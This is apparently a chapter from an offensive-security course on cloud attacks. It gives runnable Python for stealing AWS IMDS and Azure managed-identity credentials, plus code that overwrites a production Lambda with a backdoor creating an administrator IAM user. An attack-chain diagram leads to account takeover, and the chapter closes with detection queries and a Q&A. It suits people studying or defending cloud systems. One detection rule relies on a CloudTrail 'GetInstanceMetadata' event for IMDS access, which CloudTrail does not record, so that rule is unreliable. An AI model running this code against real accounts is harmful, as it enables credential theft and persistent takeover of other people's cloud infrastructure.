Chapter 212

Cloud Infrastructure Attacks

Cloud attacks pivot from compromised compute (EC2/VM) to cloud control-plane access via Instance Metadata Service (IMDS) credential theft, then escalate through IAM misconfigurations (privilege escalation via role assumption or service account key access), moving from one cloud resource to another until reaching a resource with broad write access: S3 buckets, Lambda function code, or Azure Automation runbooks. Detection requires cloud-native audit logs (CloudTrail, Azure Monitor) rather than endpoint telemetry.

Scenario

You have RCE on an EC2 instance via a web app vulnerability (SSRF that can reach IMDSv1 at 169.254.169.254). The instance has an attached IAM role. Your goal: steal the IAM role credentials, enumerate permissions, escalate to a more powerful role, and achieve persistence in the AWS account via a backdoor Lambda function or IAM user creation.

IMDS Credential Theft

AWS IMDS CREDENTIAL THEFT ═══════════════════════════════════════════════════════════════════════ IMDSv1 (insecure — no token required): GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ → returns role name (e.g., "ec2-prod-role") GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role → returns: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "..." } SSRF exploitable: curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/X" IMDSv2 (mitigated — requires PUT token first): Step 1: PUT http://169.254.169.254/latest/api/token Header: X-aws-ec2-metadata-token-ttl-seconds: 21600 → returns TOKEN Step 2: GET with Header: X-aws-ec2-metadata-token: TOKEN SSRF bypass: attacker must issue PUT first → blind SSRF can't complete 2-step flow. (Server-side redirects from the victim app also blocked since PUT is required) ═══════════════════════════════════════════════════════════════════════
import boto3, requests

# IMDSv1 theft via SSRF (attacker controls SSRF in target web app)
# Or directly from compromised EC2 shell:

role_name = requests.get(
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
).text.strip()

creds = requests.get(
    f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
).json()

print(f"AccessKeyId:     {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token:           {creds['Token'][:40]}...")
print(f"Expiry:          {creds['Expiration']}")

# Use credentials outside the EC2 (exfil to attacker host):
session = boto3.Session(
    aws_access_key_id     = creds['AccessKeyId'],
    aws_secret_access_key = creds['SecretAccessKey'],
    aws_session_token     = creds['Token'],
    region_name           = 'us-east-1'
)

# Enumerate what this role can do:
iam = session.client('iam')
try:
    resp = iam.simulate_principal_policy(
        PolicySourceArn = f"arn:aws:sts::123456789:assumed-role/{role_name}/{role_name}",
        ActionNames     = ['iam:CreateUser','iam:AttachUserPolicy','s3:*','lambda:*','sts:AssumeRole']
    )
    for r in resp['EvaluationResults']:
        print(f"{r['EvalActionName']:40} {r['EvalDecision']}")
except Exception as e:
    print(f"No policy sim rights: {e}")

IAM Role Escalation

Privilege escalation pathRequired permissionImpact
Create IAM user + attach AdministratorAccessiam:CreateUser + iam:AttachUserPolicyPersistent admin backdoor
Assume more powerful rolests:AssumeRole + target's trust policy allows itLateral movement to higher-priv role
Update Lambda function codelambda:UpdateFunctionCodeExecute as Lambda's role (often high-priv)
Pass role to Lambdaiam:PassRole + lambda:CreateFunctionCreate Lambda with admin role
Attach inline policy to selfiam:PutUserPolicyGrant yourself any permission
Create access key for existing admin useriam:CreateAccessKey on privileged userLong-term admin access key
# Privilege escalation via Lambda code update (if Lambda has admin-level role):
lambda_client = session.client('lambda')

# Upload backdoor: Lambda that creates a new IAM admin user
backdoor_code = b"""
import boto3, json
def handler(event, context):
    iam = boto3.client('iam')
    iam.create_user(UserName='backdoor')
    iam.create_access_key(UserName='backdoor')
    iam.attach_user_policy(UserName='backdoor',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return {'statusCode': 200}
"""
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr('handler.py', backdoor_code)
buf.seek(0)

# Overwrite existing function code:
lambda_client.update_function_code(
    FunctionName = 'existing-prod-function',  # must have lambda:UpdateFunctionCode
    ZipFile      = buf.read()
)
# Trigger the function → creates backdoor IAM user as Lambda's high-priv role
lambda_client.invoke(FunctionName='existing-prod-function', InvocationType='Event')

Azure / Entra ID Attacks

// Azure IMDS: http://169.254.169.254/metadata/identity/oauth2/token
//   ?api-version=2018-02-01&resource=https://management.azure.com/
//   Header: Metadata: true
//   → returns access_token for the VM's managed identity
//   → use token to call Azure Resource Manager, Key Vault, storage accounts

# Python: steal managed identity token from Azure VM
import requests

resp = requests.get(
    "http://169.254.169.254/metadata/identity/oauth2/token",
    params={"api-version": "2018-02-01",
            "resource":    "https://management.azure.com/"},
    headers={"Metadata": "true"}
)
token = resp.json()["access_token"]
print(f"Access token: {token[:80]}...")

# List subscriptions with this token:
subs = requests.get(
    "https://management.azure.com/subscriptions?api-version=2022-12-01",
    headers={"Authorization": f"Bearer {token}"}
).json()
for s in subs.get("value", []):
    print(f"Sub: {s['subscriptionId']} ({s['displayName']})")

# Azure Automation Runbook abuse:
# Automation Account has a RunAs credential (service principal or managed identity)
# If the automation account has Contributor/Owner on subscription:
# → Create new runbook that adds backdoor user or assigns privileged role
# az automation runbook create --resource-group RG --automation-account-name AA \
#   --name Backdoor --type Python3 --location eastus
# → Upload code: assign "Owner" role to attacker principal

Cloud Lateral Movement

AWS CLOUD LATERAL MOVEMENT CHAIN ═══════════════════════════════════════════════════════════════════════ EC2 Instance (web app SSRF) │ IMDSv1 credential theft ▼ IAM Role: ec2-prod-role (ReadOnly + limited S3) │ S3 bucket enumeration → find S3 with app config │ Config file contains hardcoded access key (IAM user: deploy-user) ▼ IAM User: deploy-user (lambda:UpdateFunctionCode) │ Overwrite admin Lambda function code │ Invoke → Lambda's IAM role has iam:CreateUser + iam:AttachUserPolicy ▼ New IAM User: backdoor (AdministratorAccess) │ Long-lived access key → exfil to C2 ▼ Full AWS account takeover ├── Extract all Secrets Manager secrets ├── Enumerate RDS databases → dump ├── Read all S3 buckets └── Pivot to other accounts via cross-account role trust ═══════════════════════════════════════════════════════════════════════

Detection Engineering

// CloudTrail log analysis (AWS):
// Detection: IAM user creation + policy attachment in short window from unusual source

-- CloudTrail Athena query: IAM admin user created + AdministratorAccess attached
SELECT eventTime, userIdentity.arn, requestParameters, sourceIPAddress
FROM cloudtrail_logs
WHERE eventName IN ('CreateUser', 'AttachUserPolicy', 'CreateAccessKey')
  AND eventTime > DATE_ADD('day', -1, NOW())
ORDER BY eventTime;

-- Suspicious: create user immediately followed by AttachUserPolicy AdministratorAccess from same IP
-- Normal: CI/CD pipelines do this, but from known IPs

title: AWS IMDS IMDSv1 Access from External IP (SSRF Signal)
description: IMDSv1 metadata accessed; combined with VPC Flow log showing external source = SSRF
logsource:
  service: aws_cloudtrail
detection:
  selection:
    eventSource: 'ec2.amazonaws.com'
    eventName: 'GetInstanceMetadata'
  condition: selection
level: medium

title: Azure Managed Identity Token Used from Outside Azure
description: Access token issued by managed identity used from non-Azure IP
logsource:
  service: azure_signin_logs
detection:
  selection:
    AuthenticationMethod: 'ManagedIdentity'
    IPAddressFromAzureOrM365: 'false'  # or check IP against Azure IP ranges
  condition: selection
level: critical

-- MDE KQL (for hybrid environments): process on endpoint making IMDS call
DeviceNetworkEvents
| where RemoteIP == "169.254.169.254"
| where RemotePort == 80
| where InitiatingProcessFileName !in~ ("AmazonSSMAgent.exe","CloudWatch.exe","amazon-ssm-agent")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, RemoteUrl

Q&A

IMDSv2 was designed to block SSRF-based IMDS credential theft. What specific property of the IMDSv2 protocol makes a server-side SSRF unable to complete the flow, and under what limited conditions is IMDSv2 still exploitable via SSRF?

IMDSv2 requires a two-step flow: the client must first issue an HTTP PUT to http://169.254.169.254/latest/api/token with the header X-aws-ec2-metadata-token-ttl-seconds to obtain a session-oriented token, then use that token in subsequent GET requests. The security property that blocks SSRF is that the PUT method is specifically required for the token acquisition step. Classic SSRF vulnerabilities work by tricking a server into making an outbound GET request to an attacker-specified URL. The victim server fetches the URL and returns the response to the attacker. With IMDSv1, this one-step GET was sufficient to retrieve credentials. With IMDSv2, the attacker needs to first issue a PUT with a specific header, then use the returned token in a follow-up request — a two-step sequence that typical SSRF implementations cannot complete because they only support a single request, and because many SSRF vulnerabilities use HTTP client libraries that follow redirects but do not allow the attacker to chain requests or carry state between them.

IMDSv2 remains exploitable via SSRF in limited conditions: (1) If the SSRF vulnerability is in a component that allows the attacker to control arbitrary request headers, the attacker can include X-aws-ec2-metadata-token-ttl-seconds in the injected PUT; (2) If the application itself fetches a token and caches it, and the SSRF can read from the application's internal token cache or hit the application's own credential API; (3) Some SSRF implementations allow the attacker to make multiple sequential requests (e.g., server-side template injection with multiple fetch calls, or a SSRF in a headless browser that executes full JavaScript), enabling the two-step flow; (4) If the EC2 instance still has IMDSv1 enabled as a fallback (hop count set >1 or IMDSv1 not explicitly disabled), the attacker can fall back to IMDSv1. AWS's recommended posture is to enforce IMDSv2-only at launch time via Instance Metadata Options, blocking all IMDSv1 traffic at the hypervisor level, which eliminates conditions (4) entirely.